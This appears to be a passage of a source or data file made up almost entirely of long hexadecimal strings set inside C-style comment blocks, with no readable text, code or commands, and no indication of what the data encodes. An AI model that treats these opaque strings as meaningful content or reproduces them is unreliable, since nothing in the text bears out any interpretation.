7d384a05e038329ffc0851f052bdbc7b55ae26f161d62d0b24a89f1b743da6f8152a3031727911b9ac66c6fcab36816876866e8b20b17ad8282b5455d080a1cdd6419f352498300a289eb43599143757fefd6711ad270ea2c5fe17372750224b29e42a52a091d4fcbd917abf6e7629515d9ad17dcf645a3c795242ffad1c21c85f9061baea2959f4cbfaa326afcd55d0ea55e1ea5e217b9a694af0f8d130e9f3227dbc14f42b46202b012c13ebf93d88d0b5aa72c9bc73cc5ba8c8e454e4b11c33c8cff0d3659f1ae30754aa79b6db4f4b4e0c4bb9d507a7f65a63667e63a12c2dbf9b0aabfc65b3c30fd87603604c3ff8b918e6dc4356be7b6c754ec79c15480ebd04e88c25236a5cb106ec76f3aed569a06091fbd0b45a66a870e215489789689412618be2af829bdee012c9400c378eca533903034a2da396730c6c2756c13292102edaf8fd2cdab690557e57264f490ea594046ce0d3df5eba967df72f3c79f7db227fa6bb1c67a6df7ad56636f4fcea6101656540f98e9c0e5bed6f08148ed6104b89242d7e29d8c1fd84d53f346831ecc3d99c16620f510db5b4c73e38e041612dfbddecb2cf0f4db6ecb45444c86963a8e990537a1c25acad8c11c5b4f500e7ff27a69c9f45a5120ecc9a66c1cd5f216eaa595dbd5ca5a4edf79d246f22271ecbc555124a8e27faabf2b6678a4a4361919e10f7f1b75752dc54470829275f74ff477285bce28e9099290dadfff2022981e91c8e98325fafc60e1dc577ef9574fc28073a4b7de3cfc4423dca45dbf40720b1f00b99644ebdbf3b585aab9c4f6d77cd72a89cb7120a4f0b0a77ccd668562c798293d45473b34ea95e28574de7a6adebdc190659958907f4d33dce53a426010da371e96cbb82f649a353291cff1dd099b60a69afd3d8bf7310233cf27195465825615d0e4c8692c9ea23715fc043824eef7ab1ed0bcbcb1d338a7d55bf709fb0bf5bcf6a14b2b33f350b6bf480e4cfed46ee93ff6126134ecb5e040c09ac9c58b1558f025670fa2c95f7cf349da0c475be13683e83ddc526cf81b7761d73b2aa29c202d8a4d9da813a9fd2f892e88f8cabb485a95463ffee0900ce66e96f592fa34395b23119cb9d84d9fdbf3122df9e95395a4fed8c0929ad95d0eb6e1463a7b02e66a22c37e1042db903472a77373dabb76a5d1d99d129c0e4024d2714f45c68f8bf877a5a7a0c083d466606d41ef56a7071db33153557f201860f4c1b555e9753bdbe7d79fdcb0ad2d6cbca9f0f546a7cd1aaac59de8b9d714219dcb6600fbad79dfe6fd4b7134ac864418c8a4a564bc2345ea69111b030c486e7ee3ef565fdb97d387b48f4b2f15797662306503cf6f30d3560646833f9780e9b56e5f45dc645ae82016283a6f49b5707e243abed9ce95516f91c9c21a7901f964ddcda87a38cf6fd06785889bb0ce19d8f8c05d37eb887f98896933d3ccb0a13bb29fd99c23d5ffe77cc6675fe7f62e624919fab72fe8cb64a420cd878a87b981af8d7510e400617225405b0ef5ec2d9827861cbaf0fe0e6e108882d398c13a1bb5fccadf7eff1320bf57ccdca52d404c1e13bd59112b1be8fe849ef16a7daffaea1dcc613e82ce5cd4d909217abe5d7d2675d75f9061a9241e55d7beadf88de34b22c395a1a82287a28fef09ec05c05c0b1bfcc55c071c982cd9ff255ad2a11c152b5c318b192569190486b9636a21465b2f4637aabe42edca49db6a708413f352d2a4be11d6d9e30a8a566fffcbb4f1add598fa73580afb937c13a6215ca776bcab0f9d90a85bb545f0873cf1a7012cbc11368c1962472695acd3ee57aa53a9990669cb873b9e54d4ea2d10fcd386c071656725fd462bae21697307bb2aea38c5d43dfae59bd2c016c946c52c1e93fc010f09cac6c906db5c8888751f7e2443a01b2bcf0b736f70012777148cff7ec1686fac84289102abe2b817df315445b22cf41a1f2be3d646390874a0eb020d7120546a4218340bb5d87a7fdf9221147e5302690bf38b4824692db8446122696d175147f31d619670017e87be28d478ba0a943ca89398ad2e707ca3e5c3a21332c2867462a178fcfb422c0bc7d54877d29a11256980a9501048d79ad6eb6285b2764279587335a3b2e58d607ed5b79e010b98f7740dd502974c3aa0f0bd52eaa5d9ff5f9d3f07e1871a1bb1367d5faac4cae1b618698722c5cfe4d65*/
/*27d8f56c9924cb27aeaf9eab3c7570670a067d90637613171f656b5ef7f5ca773eec5d4177800d49688da770f875fcbfac5e33c8718ad50c0d0f4c1feb4a3aed41677f993ef8a7d09e580613a52317e4cd3b0117649a8e17a0ef44f36c9f6659db585bccebcb93fe0930002b62ab3ca4b999c512b8009589a8007ed7d6285c7d1ac4eafd4aefe49328489b581cffb7197c5121957a8cc26c2a5f28bb334b43b58d8865014d4b6974d1c732ffb75b43ae870620e55fad2e8c13a69525be18630e498f501e8e9852d46c61e8d2905ad18c89c636e43a93cca673c879571ff794f6b8ebb58dcf8d782f041161d0b95ccabde6a4d41636535906e2d40ca0f70f431169d877c98bb2d5a1528badade1a0d8432c29de1c7c5640f82fa07cc428c66425f8c586efa0424e64c72410dba2474faa0d9b4e414f69048eb2033ce89ed88f3a3915693f8931ef8a19a3db7ea07d466032fbfca35524d6e52dfa6e5139c274245ef1920b60853301a9a8d7ff914d81d7e4a2ac3d636b416d342572925518a5dcb4ea0239512c05259800286e67388528f9d46d739b306251a2d745a74bef88f4641059e0c10d746d6fff168f6a2250dfeab322117183a3ad778f3348d58fea0b5ffc04d300e9388404a6635f2e4d8a4f5339345be7e5880d4c9261ab825900b082c4f12f1ae6ff4c1f8553df5ababc4e872a0fc4e62e4dcd29010f57b35b2dc5186b00c35273d17a7dae502caf4ede3a5e664fe2bc89baf6960267d59e2c2502fc260bc974f4b11d898c5470bac7b9f96522389e099e6a9af1c8309f6f044db135f8cd8ae88c2f4a480b1e262d3f9b45c38197cf0552fa41b0cc361132d37e3b3c1e3a30073a87359e08082cc12c4c3700a496b718e5c45acdd3afb1f24a081875cdb8a9598d92be4c8d2da6244d88df92d610e9bc4227545075364fa7941ab732bfe7aec6a60da97ba231a1b1c408f841e9310a19f5a87f98aa8aa3229874efa0fe409f601b6faf1309a0f45d1a0eadf3248dac33856ffd5f85f09c4c5028d44bd8afa77e771fb30fef1b76a37fc3fdc415a5019a61a94ac2feaafbcd4246435532a50c37cb25623d175d945314ac1a5d4029305da4465503c5a6281c52e8edd668b278623922c594b4d140f71805e731737fd7a585c9b80e420e0857e6032c133a7582d559893f8b2aa470eac297ec146a38df363e2bb4f3b36db6d94aee1f6c31e3d463d062d01d88981027fe72299bd4171c4708002e2a0357398a54a7a0c5e56b5c65e0f0a641824d643f8a4e22b16c1dc44831c2928d39e2530a7084fbac53e21ad8acb7b055b2daba02ea16e2e21a177b4617fc351b0683215140dbcb28955958b08e4d236c7901f52ddac4ca0261292b0d88b1f9f627b3d0724662b140fe8ac79843f46d02b5d6c9d079778bffcd79f53c1bfbe49d05637a7920d57eeb66689c84ceadfe9d654ddf2f3baa241c76b8e9f2126bdc34db739b3fae5aa02270013440db0a14de2f4bef21f6f00551ad4ea92aae530a21fa7958b6e61ad6285f8eaaf3bb138694812981f28bbeae47c68b3acf9d29a6cd086f544fd064546dc6e9d6f0063bd6394d41c89d2512ff7071abe351ca310233e1cb867b829a09a771c420ddb1c2c85b6b512ed197fde0c5e15ec0bde50595f605cf62f9dd81d5e87c7159b0db2dc6557899ec4b4e3f772dff699787404bf174b35fef081e00c0b619bad6ca2ee4a47fc679fef1faaab74adbc72d748e27e9e448cef4bd94d1d6a48dd336b2a25f38d671819334cd5000fcb6ddd87f2012a4002f934ebd222a6ab96c964c9c47463238fcc90a53e8d62a05b05cb1773c833745ac84efd701b6dc3d7586387db5ad3408f2ede1cc4e8a29d300cf498df042ca41aad0cddd67fcd47a591e8dd45d18cad62544971638ccfeba40855015151f177e02f497e53129cd4612bcff1f4e8823cc30f85ea544056b4a358bb06991c9e7f1b8b0668c9f8c063190395afd4831ac832a5f8f804af87f485dc61fb6dd3c3b848a0ec3b2f71178099d2ac6321ae26124982800788d8929d7db59cd04fb799b87bb1b370ffb02903012124da83cf1a891161d68526e75d79b33d258ab0340c340538db1ba9b54f8dd55b7b7e098387211a4b105715ba9ce93586ed9f3458e547528ef097997a7d99eab1d5bbaa8ac1345ad112f58d09f9497ea6271556c895d001c8d0d4d213f4629f461ac9ca88b5a4600eac4fbeb3b8dec04fd35e4c39e8bdd0483b6fe99d3a16380ce4ad6be0d280273fddc4e483e8a0c34bcb9c0d29f0a9d77d5127fc39a2ad8c46a1a66c78ae56f426f6a45a10ca347cf96e8206b97ae89ccfe72d182b324be9370169184bc7521bab33cf8191087e92e6a002ec32571e4eae37201913f92fae945169695d5c2e9ab29673febf7460778fd12a757c0b4762f9ab17b4189f4e883bc6fca0f38d9701ec58586d8c5b3b5e774b0f6c9f5b02066666e4bbe91e7e746084f7d0b8eeb5fb31b42b23cce74626d9c2320ff075b1f893e23c34d7c78bb2fe8a18b2695f4df65dd5b10b79d70cd24a458a236c50615a9515f77af546ece1f61ec3d290fbc3148460d45515350b084b418ded4837bd28aa2a1577bf7b5d8afdeba805e5ef11df5c3c2a6943ff9761c3cd109342b75563d2b37d4936ccaac1eb5b13f9b45ffc609624c8013bccf6bc9344eaaa06ea5728a607ae17d6c521a0d83fd50adfbfb1760b8252af63ba4f06ccf0514ad8590ccc00b5f5fd2cfa5cdd1937431789a42836320badfd36e2af14d53585535b260df98feebe12714b6e8e9d27f69fdd8b3debffd8c05c4e6bd*/
/*7f21025c94675bd78210bfb0517016a7f0406090a7d05c60f1039665a6b453ca5e199e0069ded53c4b358ff1a26d513fb84fc141b2c4db4bb1e007fe7c559086168a258d0c13165f77eb9c7e70d9b9b27725cdd657b8f7961b8e85fe7a6f0b7fb5009628f30c89d85fad6633dfe63e139ab01bf5a1275ce8c0ec965b64dbfcf161687e8c3346c121d1ed872ea58f580dc8c50b25e91ed1a3e1e919dc38a5c051920b6d9ea3c023b34e906f5ab74f20c9e6989095a7de0dd3561bb0327a82a469b9732621e7336dd5f474d03ba6cc6eb092c62a392aedd969d157c20b980068b45978041902c528aa4f63b325d960f0ad5cefa4e63a398b535e85a2a5369d8f6dcc1da991d68140cdea5536777165c0e71fce71a38eca7223d85aca57b98547b0f195b3024d91748317dd5ef4e0cd92b39ceaead28788ee8c68a503c0c95ac9d5077f1d4e0d4d7834b2eb4cac6244620fcdaab73e69e75985ec6f92118813887b79718aff410065b3c90d8c0d2b641edecf388f179286d6f76bf04a40906128aa688decb77abf5d58fcebbcaeaef25a4631136740f7a5558ad474840818a27656b809c6362f62ed0bff1a21ad8268b26211a3ceda077a32a29005c854ec31bdb1371640b017aed7fe440dd6e1a12a8b5d17caa140ef8f219a0aa523be02c6da59f0c5f3e931bb5b978a4e45d9da674dc4d8573cf6f2634a417a9f87cb0360e397075f779f95293197f331622a0c6c4cf540fa0e6123d2a9d7d877a6ee4e57a9f94b4ee777cb5062a27e8feaa5048d12c2705d08795c47ad561a6e2189369cf23779f671e0c20579b7302859ec4a916562087e384872a5d7e682bd61242eba28f26f8ee854d18a7c369a68c3a7248fc0d8d48b06d66f78b9b4c2c0ff38193ed9fede8d709679d473c375fa7d6358762d3c06f584a223657f1937520113cfe1cfa7e942ae286c36d5933af77ac061f25a5bdd91cc3f4da77cf4aaeacb54902ea8a9334971c78aacc8f6d17ecd60d1e781eba9c8ce170d34e9afb7e004c0674e0f7badb6471f36ec4bd00de06aae50d0e85221d89be2b3b00b2de536835ece0b50d264b9d387c7927a97c78ba2088fb3a3efe98b6b009278db1cbe436637f4eed87fce5f4d2ac21f09578fa3ed99ce8f8fa649f02c9cd56bf1480a5429259f6cbb91839a3847560e31bbd2629f3a8937f8bef15e3bea8d3794066ed046555ec78a0a6eafa744bcba2560c0b48ab318e0493a482d1f0045b817de3801f387ed7efd694758ceb7a084713df178e6752e127ee3ec08d508b62e1919f538a2ef027b36e2af94b7e5b6cb251d9b3b64df51d14901b8d3e408898d478b51e87624bf479281579998d59c91a10130280f5d95e755a4eeaf72135f74090b8c2dc5b9dd571a18ae96bcd26a079c4eb92b3def2d12377a319dbf885911dccc2d2b36e4bce10d77df7590a91ec2a46d6b8538042754a7194d8f57f0b552780cfa8e7b80ecdc1125357d2cfa9673b718689b54c08c511c1087968bb61042de0dfad89ee4c9058897f7e261ca9d2fb6e0369d5a7208cd690ee05ac41f608e24fa5e7b287a293d146fd7e7ba65f335624fbbbda7c7b799eac119278f2714842b93c55a94bf955e1aec1326130dd88c62f03d7f711e99f21fc158e3ef54508469715a7f14723d54150761544de465fad25e1b805b74b999d56ddec2cfe095ceec5e1185cd5bdf12bb0485f3c4fc6aa8816ff8d10d3ff89fb9de8f67ff7358bbeb8e15c58904ea9312164bc6f681389cc3c3db21fb36d6ce346849531667a0c81ab3e30738b32bb58cc218bf44181560cf792804b8541bab88a00cf555858b66d7a700404c80ae1b0eef6e786c732f9bf3180c24bec05b8c162ab89e6266a156be988f81b1d90681e6c8766afc12be3b9d97ec98e40430ac141811985125af76ef5fc912c077b4503b248192e565dba41e284d8cc1324a8e03aeda57a48138b104bca12793042dc1f23236f04ee45adbab8da9d422c61fc897a88f09ce9d0d073c77765957b7110825b0f4bcaec93e74552e8e54fc846975a4bc00e50889b03ad3baad78bfdf487af92f15b09097ac91d33cd651b267285779c608e11277c00c9e5d5551b051623c98c192d0791d95d9aa3c8e994c8371089c0440bf0a01244d6edcf5122e2303995f782172bce17866dd5e6757c6655b0987a4c5a5ea69804f65b376dbad9f834eac4a07a518a80ac69649e6b90f7c3254f8b7854787e0934e12f5201c65251025f919ccfa53f9b24b70239121baebf7bf04d1d9d5528eae4564f7aba3856d7e9141e324c3cc0358041e375ea1cd74caade6715696959f3d2e73c7f8f1d86ef53198c5fed50ec546b7c45b762efcf7d2fd5981e18b389120248459937da0612bdbfd57afb7ec290b6c721e293cd4eff1a63e46362cb6dd9cbb122bfd748eef955138e67bf64fd50b6c85910eb69d569791108f57808bbaadf47850f9d1ea021ae05c80655f920b5a1fd62b4c5b423c02321dfe89805e416fd15ef1ce67665991b1c9bea76ca305b34ea6f2c3bcf03874292e66e0fd9cd580a89e8ec48f13ac7c43ee85b5484f37859371e9cbebbfc3e3743c54576ea8c8f3ed12bfe305a0506bb80ae56aa4860e469f07d32f22efa8b6f7b520488ccf2bf66ef0042bfc99ca6a95e77048aaaeb2d5de582106eaaf69e37cb2d4da733bdf77769db78c0268a95bb4177f867813b204837d15d1ce7279f97080e8470d4309d8ebccdcaa5efe2596b0bac54ed66f88317fd990430dd1d9c4a4f2c8677b1a68f878e736f25c2fd037c16740f2c6154f1e06fbd44b86ed89d2fcc2cd*/
/*21e278634041e11e081644effa97a3392ffd7f2daeafc3d316a88465d5294a575d17fbc3b99aadc89388a999a57bb00ee35d14648b4b6a57699f55ebe5ba804aae2055a68d107b7669082d6b573bfb319d393410812e4892fcd39c627bb6e55a7d9797f7dc5bd711b0c877044844373aacb0285400e0b1e9370a74e7cf9acb5e6d18a9edcbe5cf311239735eb1498e414803b02b1cc6132de14b2e0cd2389a10011221fc71132c7ef4bfa04b169a3251cec4ac9cb301aa5354f74fdc82985b036bc6e8a26ff7cf8bf241142dd4b68905f15420931eea454bc6c731d04d5e57385b7d4d4066a5d59c2bdf93044b4d7130b88689000d32ed684ab0996df4466d284f8e2dab12dc02490a7817cd34c79f258eb27d8feaa9a8e6727ccc6d06f9432d3e7729372904d4a06e5bb0cef14c402176266edbdeb80aa9c64b5c1456d19a1280a5019192ed11c2ff3cfeb274a48454923e143404c8091dbd7d3fc6fddbb77861fcdfbe609d493bfb93a7eabcec6e7afdafe18f59d7d67b69f18c58b715ccc976c5450ea9b5ff37643d562446419884126290c68f9c3bd9c56ef2a81dd3d9591836074a2cf888fce996dfb407894b4fcb7f71264260187aed7672bca5f356f32da13c1127d581ff43b65417fa5f640ef74e7eb2f2e931b1fe28bfe889ac8ec1f679df9eea7a56303d781d00b6b1fa8749ff93864875c0eb69be79ca48a95576f44f9f04689b38d60fb174909ab5114b4fb6bb17b7187eba55f955f0be333012e152682f4b538f405fc9f996f4f1fe5c9cbb08bd0ea1d0131cceeabd81451cec4dc08df815eecd5dd3d549b76a451ece85553a2b1bc7bc36a26f9123dc8743d9039691f9af9f6b618f89946381048b9cc1d8a10cb0745bb2094f23d2bc224d5a3ecbd12340d397c534e14139d900292808734012b2c042f2a1eadd96c81bcfe0b9155c1d86203ad0080f7f440a13f9533bf4b540cd7d8ee16c812268912ed4fca2dd8758b91e4d6516e497dba26c09a488466496f5008919d5ba6c2d5b1f7cd90f55ed96d5bbcb3c29728d19c9a55a47de91a8e366d5a30c6a7cfce39b504a97cbdd4aece08325d2775d6fc0ddf4a2c0477779be82d21492b111c6fd5d68404aef692b390b7002ba650e67f4a06f89df159b65a12ccc2f84fe061c6c00da66313862f757efa83022ee549588b301c4d2cf729bda04c58b6951f0b685e405ce656f44dea318506bb75bf799a0ee703ba08f35ac9891e2bae66e60bd620168961ccd3c8b848bf7192fc21f8f1dbeacf9a17c669b3d7e5ddd0f947731fc5fd59d11b809f3691620016e092bdc9facc7d97470cf3e74728fdff5a9a4913ad3f39b2781b529ceb5950c7902e53971ab3913903a696741d1e98d20d4f363dd1edf4e99485be5e88619247242ed362df7d80eddd6f484b74d9539055f860149d26910e7ba95f5261cccfe07467569db893975adc392191f10f3974e6cfa8fe253c235e21852153304302d960c69015be3c7fdbb6f439bbf47392ea9cb45d8b2751e82f2c5709ba84c42182c886578c1bcb7a6911fb09c0c7f93f85f1fb597f2b51ad8b15fb1cd46f530697b4e9a14f82c9d2084d2cb585a43e7e3401151357160498cb09d618ac468cbaebce96c16383f279820c482f41a8b6b34d2dea3513ce658c559491718ae30ea3575f4bc347551dda90087314cfe6aa32ca74df17879ee609807d5cf9d020eb976d5638c64aebd394b7f2dc004c7150e9f640a9f77e751158e364bc881d8c5e53c925b3300f31e8bd9ad25c620e18aea3132b602e6e5c3bdd39a3c12ac711cc961e15afc340597f0bf4f396383585d4e0a34998319f4c4bec88ddbb7e3bab4872c428f475d664889d5dbeeed809d427c8aba942b6b4dc065cee71b319b9fa5a58bdbc4b44a0f9f15edfa1e0e9992c0398643c86f70ee590b2407bce58410484f655c472a179eed26bcf09f021e544942d9b95d9e1d1d803d557334089017805c816fd94947fa7a7eb8b2464ecb1a8651b1b5deaa8dcbf7ad578abf0a7d5e127ccc9730f35fab72853ac624d069bbb8f724cbc386e9859e2d22e8e27ee7cb7afbf683b04e3742b506d60ad355efea5626cc12d4b97afd283d9d79da0ac013bf409824decf973e601d5cc987b3b65a923a1f4164e6a58a18ec18c84c8ffee8434126cd7a865007b3e8450b19dbd2ffac95f9653fc7aed3d819f7dc2722ef7597ced1b226632db97ecdfe44c986c95dbefaab2544ddd4d3e502e73cb6a55228b8609a009ca1275085f13696ba638133ee3a771c52a07e91b1fd709deaabe749bc999bc4ff27572569cd25b0c83547ee7782ce7906d95187fed5f110176c5e72f3cae937e734a60af4e78dde70daef61951ea2f558b0362d4abdbc44580425d26b55a9a1fb48c3f7040fe517fdccdf0da8fdb5227cb46acd9b7ff3668d5a9da4d9a6daf359474b2c0602410e2278f7156ab8a4fdf1e2b6f8037cb6d8f11c9973042f725a3b0b596d5a246c3451414a2dd276f34c146b87fc7a8c84f468f8ad59c4d90e6260eecd41f80e60bd1bb0f8d51f62f4ad81b8dff0f3b9d86432001cf32477d4a227eccf898eeaa2b2512d8a1c70b24e870fb24555103f05e7196843bd71823741ffa30fc68b8d3bd92f9ed6e1ae3efcac49a84a9c69b3e77818581fa1fdc6402165721449829642b5a53063129a82ee00df0c514fbed96f69e25d0dfb736e74660a5d01cc828a4a93fe449a61b439fb5902b4f89b465ccdad961eb08f1e464d3f5025fd5f1b05e93c4ee26bba902e209580b74a3b224f99e2d5e3e9875a5c91a872b8afa7b7905010*/
/*2c513bbf9a8f58b8fe014f3168b6939349997015ad3fca98e294c9968e0721c121812251bdf710b6631b90a5369671ed1eaa8cf93252a38c218e92d7156ab674a4b7db9ba5d5c8c23d45fe602d9aac6ed27d99325640cbc01d5ec8356d57f883d1c1bc611eb29069a18bd46747d9f2745cc5a103675d08ca2e16afc5217a4b5552e10d890325e00bc096ff1fc23987648b2958582b767b7ce88d06d50329e8fdc00e42bef7549a8bc19da47e662206b32d8c4c3984b73fd968d3bf9b2d816229ad6cff13e4b32f71f5060ec93f955c93ffb2b119d2f66896e5ef33f6c700f7cc76382e0d5c5bb58e79bce7f25ecc05c58cdc9c21a47051d3ec332ed9d1d1b68b570c4364ae6d7e356290121f91a82e12b99acc01ab5a2b565c97a74dfcf7abf0dfaaa4dc73bd11af734724ee5bb2683ef129535e68c03e0eebaa0135aa8441e2634415ec174a395457f349bc354b62c61ad74e5d0d0b110e417b95df528d3126cd665390bcb11439e999876676e1ff7333467cae4f700ae7eb4710e8d879eec95e25c32fd4b777745a659b370a50d4c7f359c5b1cdf3e2e86db846c2d3cca5ee39d19994856ea17e29cbe4201db9baea54d55c9fbaa2fb82886dd311ced2b7043bca241005279f4a54ebf13c2bfe1eb42df30e29ed0cf3fd65f3c24fb4074cc3d3d944880a2118cb43aff4d3c65c9b58ccbe318f47f6422e79715cbf6a700f0129db0d7c46975e03d9cca1ef340a0b3a9f4a17c436dc3bba93df05fc25b53c22f2ad6aca7c30dce169ed5d8e978221f025dc9e66f078d5f48bf789ac96f8e1ecbd6497210011b490d4e213d0724c6bb66c688d7ce488b1efb0948faaa6de30cd87ca92b01ff41d2f988e5a98ce790427eeb3552d040a767deacfdc73890e05f3ba6560ad866e647a870cbd76fd715c82af098278306ebc30deb7eac02e1627f3688cace7959ed2964db333e73bfdbb5f33c8906b5bbba1b6f90de5f4c9130d9bc100b7c975c05964b031074c3f1703aa37ab65c0f3c29243ede035ea6057836e7f4d856fa9e2e4c27a8e629b31be4fb782ef1cd3138fa7e602390740dfe0c3ee0283a43b4f5637dcb1b7be3202ba3f21ac77bbf38ca8f8287316eb34950aa01fc5fd36bb4f21ee0d4be4808fbd0d23b701dc81087cc6f140a814be2fe5ba148dc54ffa99d50a30b338d7cea09a2acd20ad36f3b07c26b8dd716b81aea87c826211762929eaabfa5f312f495958a009d60169889b94c129077d90b02f0ab4a2a6eed7ef6cfdf3061b655076a8d55241c6b269957fa94346ee964c4429285b6e03ff8527898a7ee535479787586016c3f0f1c22f16416354296ab20b2de5b21501b65af717e5ab5d98805473b8d00f585216cdc89f7a10f45992154b6c0e6c014bc2749f734ce63ad6f4355454b7072be00fe43f6c71905ace9e490f92e237daf6d59ef781f455dceabe7ee8cf8727703007f8b43a9fec7ed34c8732ca2513651c25740e18fe112ce7aea9a769e73efa813b4b2a6c4a8c40bf73ccd74e7c95587bda0d3e88f3b60246422bf00bbe0403161ffecaa8e1dd0fd36b4bf877a74cafa6bbec234cc88d692d44cc8cb6404c37ce921e932c5cd6bc5931fd38696c2276ce7ca9c4f632d0981ebb65770d217aa03a91b893ebb95368aee9c26f44836d9df7561c1111f0fccd6d45101c433a29005953cd01d8fbb711aee205f5911ad810203e6fca37a7a5fb361139cbedc430067f4d92a107661e624d6978fe42ae13c9b0e1b37e7eb7bc97585efe4d3dc71fde825c457d435f0fad20bd5b1eb8357d8f303cd4dc5f33a88ff474cb741c961c82403599d4c6b3ce9f8e3bb845b36f36c3ebdebe79212e6c3547c30c1bf2553782d639cc0974ba7fc40635b324c4db52ca7a351acfb46234e048267461a71df24562dcc011e3e76313b5e614bbbb06ec77f5f57b77ae5874711f5e3f7fd68fd41e6e75f0035719081f4f0736300205c6d7115a2d999068c3360d20c279fad39828c5c558660058391c3136792e6caf007ae7495106ceb516547e83d219b5b7811e7b08ea8a28cb88f9a5aa388c1981b70dbb9588ff6164a60edcb69de6580e342950c53fb465d67b9a637e08c5f1222a85a17d014e1ba09277d4ed327f725fe50544074e4267f1952ee5f686d126a7dff7bcf30263b7ae5362048fde14a0252be49951ce038a95cc836efdc919f1f5a9f3e0d7708c54c28ad4ac34fee5a44d9bd7a5e0180e98be214a76df01839e4dcd80e057846c79f37d6f9192d6dbe4aa0345d10dd59cb8e7938065ec59ee5d3dc4eb5d3428bf896b4abe002ce6452e47edc5c1e8e942721c42b9e4e113b33c66adf0b35cb53e1871c1bcd55ea23b56f4947fbe5207b96137f061a2128395317753ad28e7a3b0a929481200def79d42210ad39d01d59c2e00a8facead8d0afef35db8be17041c8c6728d5a4a4504c38f14ff20eab15dae039b747bfb8420003d2f5365af28b39f64f8e152efdd508a9a2cf9a09762018432f8e89e3ebc4f875adbaa71fd7bf03c1ff13a6dce33b13e1c039ddde19adbaad4f817ea624e66c7fd1706b22c058fc4a6155b87ab46812452fa74dd2c25462ac4ee0d13704084b4974dd7defa5c47429066f67ac57572d4d9823da223f5f58f00fd93c4abd45821b606aa2ddab9d1e770b8a4c1cbaa4a44b21dc788dd00e68e1573ebb45421530af9879d29ec6c5bd16645c22b15d6ddbb0477ded82ef683b55e6523d007bb6590572f8cc5692867ad100023ae7ad7912608de919fe7c302f79fe8b1eb07ce4bd77b12fcc249774928fa8f5b9f5a7235c789ae9b70d*/
/*8b1a22aac132ef6cd9598aa1202ac7019236777d77dc21f20e2e6c16d8652887dc706962070e41e4c2441d1d22c2e6a7f58b4ff910b7037898a438228f30a28879627b615dad00b62c3aa7e72034a976e8c7760b840090b30a7e3d16bd16b36d43334956c33f4f117e53092c7cae9d1805841530f4c8281b248f8c29edea60c9eef36c30d933209b1aa6a840694fde754d500f2da7491ff4a8c26ab2da8bfa0a021625147b3d4d992af103b46866a3da372f7cf58a72a57fda23e5b0aa61e12322c6cdff5332dd816ba943bbbfe7824cea5418cfb19b292a9fda6301fc98228dc4fa2c06eab08ddd0e87ca29ee1a86bb775f5a0125d84eaaf2f1417a71ec222692050dc5b01f8ddd3090d0c8d9b4a3f62d7a7250f31d67cd324b4d1c7a2b6e290e388c235e971bad8dc6c78177fa49c9cd8ec7b67461fca3ac5d546ad026b158cf5ef1faa15ef6aaa8769717a010d0bbfffd1282950e973434abc68e1542abe6f1a61cdacfc92cba00df269931e9aa67e4ecaf6697cfb7d67f36c05d7d1f70c77c6307bf9a30cb40d01094a5e902dd3294e5c36ea329ac89b531d126272e243d8cc22de824bce60e0f0dde91632ade156b61c872dafae1177a4a74911f6eb4785e34e6d021ec56866468bec5bb3e5512cafacd20b0336676f059b39f9d6ce7362f38e798c069c0875cf6fd1051c93b8b6f3fb8dc5008fea8ab6b028cdb81b943e14ddb994e84c99d80e25f1276d562d18b97b989e40521b08bfc98a4cc05efd486614c190b45512521411ac3b7289e2907f9e4a1268737477e364e1cd2849ff321a66021fffde60503019c1b9401690989689245650f3403149d5e87270366e230aa9600bf4d7a1618cfc9974277c3adfd3e344f609ec44e0dddf3a357b3c90821eb5d8b784809ed73e86698eb95908d95c4214b9312ed52482dc452a5826fd2a2badfb1f0e1e67c8a8fe75a97349b84541de6e7f279dab71abd4268d01d79b5f65c2244153da9b7c08019e8ab1ab7b2b01cbbad13e9d39cf8d37bc108e85a3694c9733f9518d096d9857ea21b3118d39d6389291de0d6066b21ae1a9a051f65b2e203bcfc8c2e5325c423820fc43f8f99fec34ef770b08d9dc886984cbc46c92140b1f91f47e649b043cff83b6f0306676634f0f85e78f911704732bdd177578b364f6175f228f973140e076e9c071b7ceaf724041f412179385bd4b42d5ed54d44226fc8bc663b86d184015dba5b10e13707ffc6872876ad55aa596f92820eda57215d305d641115104100794553c06caa20f1783796684c79a3e2228d7e29e805abdc650ee7f6528c25f99ae490effa86f8ada2223e110149e54378d083811622275246114cabef325e20d978d899d130d901d13d3fe4cb0f5180c4f3cfbbf4fe74a3c3e2eae887d830f1cfe9f2cf2e5aa52bd68fb09f4379ef456e1ea09b612034ad9d58ec3417d43b77078424d9318083ba2eb17501516c5fbb417bff41c9f436142450813e6e23b3f450a75a75b9aab73dae74ac0dd0941d84761a8fbf3ad566565a7c437ce044bf723c55af04effc7ab02bab7efc495dd164d2cfa26be1c9e7918206c7a89b0c77768c91e57ee0d16a4fc0c865e1e01255dc276f90446a1a6d77f0d8bc0fa7ce47f2fcf26f2e0c79ca7793b57e2e6f5b036f17ae16fe789a027674de874d6a1454e9658b985d587b4e58a62d86b6410481781a6178b6736b2dfbe09551af9a1690acd3e51f97bdb2302e7fcdd4f2d464a5e1b9bfaa8eaf5792861bcc2193e8e7876b7d3ce248755050285cc4e710effef5548b5b6573d5655d04d96c8103901af5270234923bdd3de178a970d50c07da869ccac3f48fe5f19ef161632c02799582f3626032dfae43f46f26367a894f875aa8e93fdfef13789f3bc53ec41b17db6153503f1d982e8a610e2573dcce723b6576e26cb4a7900d2f28dd5fa6d7fd510125a7e7ee0632aace1feec943842c1bf21700fa43f9bff6d2bcce8f80c167d51fbe98b036cd00429b54955e915cdcc91426629a4224965881d040bbd1a2eeffb2b22514a5e490fabc3853883db24eb37c6ee91d25883abc5e0e2d1b60249b468a9d65e5e1a3256f50dbdfbf9395a8ef6e511f8f1a06d9bba1ca92578e1e6ea973c065312bd938238845a3d2c8f08a592203175191da2cc0ce48836cc48811fc3f7d4332e7402363013e491b3db9d9fd40929445f374fdde18251047cc06241d859ff53f7d02d0f4f69fb72a8d424bf1dbd2c369b58ba93fba3ab3da7c77aa09fe00f7d7c236dccddc1c0c673b10e84c7cd3286a459a5db040ec835bcbccec71f566a9194f7d963412b309f4a9d4693d460266839170b1a4c85d5a72f3bb13ea61594f6989a9ab641a484ccba3ea9f28b6edf60f023ffda588a40e120f10106eb968860aad15213caf33bb7db47ead2604752e4e38bd40a423e3e2679ed9368e76a339ac3dfd567444667466e961916ec42e5a30bed5e76913348a6eeaf14febe640ad638c0ed68b524a8cfbe12ee606611d7ec280af518133dda8ec90ca465302a7e88c51f82faebde1a7feed1cffed3483ddaf2e95320924fbb5b90c540a8d8151e9839c0a96eac98450bd425c3a47e25ae67a96a26953e1c7536d15ff587c05882144a83cb60dba1ac4fa3692c5336efb912f3f504e0ed5b4e303252aa5f31d30f061e79c059f90bdf780f953ba59f3e